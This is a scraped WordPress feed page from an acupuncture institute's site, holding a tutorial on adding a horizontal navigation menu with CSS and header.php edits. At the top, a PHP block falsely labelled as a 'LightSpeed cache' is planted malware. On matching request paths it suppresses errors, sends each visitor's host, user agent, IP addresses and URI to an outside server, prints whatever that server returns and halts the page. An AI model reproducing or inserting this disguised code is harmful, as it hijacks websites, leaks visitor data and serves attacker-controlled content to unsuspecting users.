/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } Link Links – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 Add a navigation menu to WordPress http://acuherb.us/add-a-navigation-menu-to-wordpress/ Mon, 08 Aug 2011 03:07:09 +0000 http://acuherb.us/?p=143

This tutorial will explain how to add a simple HorizontalNavigation Menuto WordPress. The navigation menu or bar will allow your visitors to obtain easy access to your site and all of it’s content directly from the top of each page or post.

Nav Menu Screenshot

 

Note: There is now a great plugin available that supersedes this tutorial. The plugin can be found HERE

As you have probably noticed, this site contains a horizontal navigation menu located just under the header. This navigation menu was created by me and has since been used on many WordPress Blogs. The main advantage to having a horizontal navigation menu is that it provides easy access to main links either external or internal to sites, pages and categories. The menu I have created is fully editable and can link to any URL you set.

The following steps will explain how you can add a horizontal navigation menu like this to your site.

  • Log into your WordPress Admin panel.
  • From the admin panel, Click Presentation -> Theme Editor.
  • Select the “Stylesheet” theme file from the menu to the right (style.css)
  • Now scroll to the bottom of the style.css file and add the following:

div#navmenu {
margin: 18px;
text-align: center;
height: 20px;
width: 95%;
background-color: #C0D5F4;
}
div#navmenu ul {
margin: 0px;
padding: 0px;
text-align: center;
font-family:'Lucida Grande', Verdana, Arial, Sans-Serif;
font-size: small;
font-weight: bold;
color: #336699;
line-height: 20px;
white-space: nowrap;
}
div#navmenu li {
list-style-type: none;
display: inline;
}
div#navmenu li a {
text-decoration: none;
padding: 5px 5px;
color: #336699;
}
div#navmenu li a:link {
color: #336699:
}
div#navmenu li a:hover {
font-weight: bold;
color: #114477;
}

  • Click the update file button.
  • Now we need to select the “Header” theme file from the menu to the right (header.php)
  • Scroll to the bottom of your header.php and add the following:

<div id="navmenu">
<ul>
<li><a href="http://www.yourlink.com/">link</a></li>
<li><a href="http://www.yourlink.com/">link2</a></li>
<li><a href="http://www.yourlink.com/">link3</a></li>
</ul>
</div>

  • You will need to edit the “yourlink” addresses and “Link” Links to point to the addresses and links you wish to have listed. For example if you want a home page link it might look like the following example that I use on my site:

<li><a href="http://www.lancelhoff.com/">Home</a></li>

  • If you would like to add more links to your nav menu simply add another link line. Once you have edited the addresses and links Click the update file button and view your site.

If you need to change the colors of the Nav Menu, you can do this from within the .css under the navmenu entries.

That concludes this “WordPress Horizontal Navigation Menu” tutorial.

]]>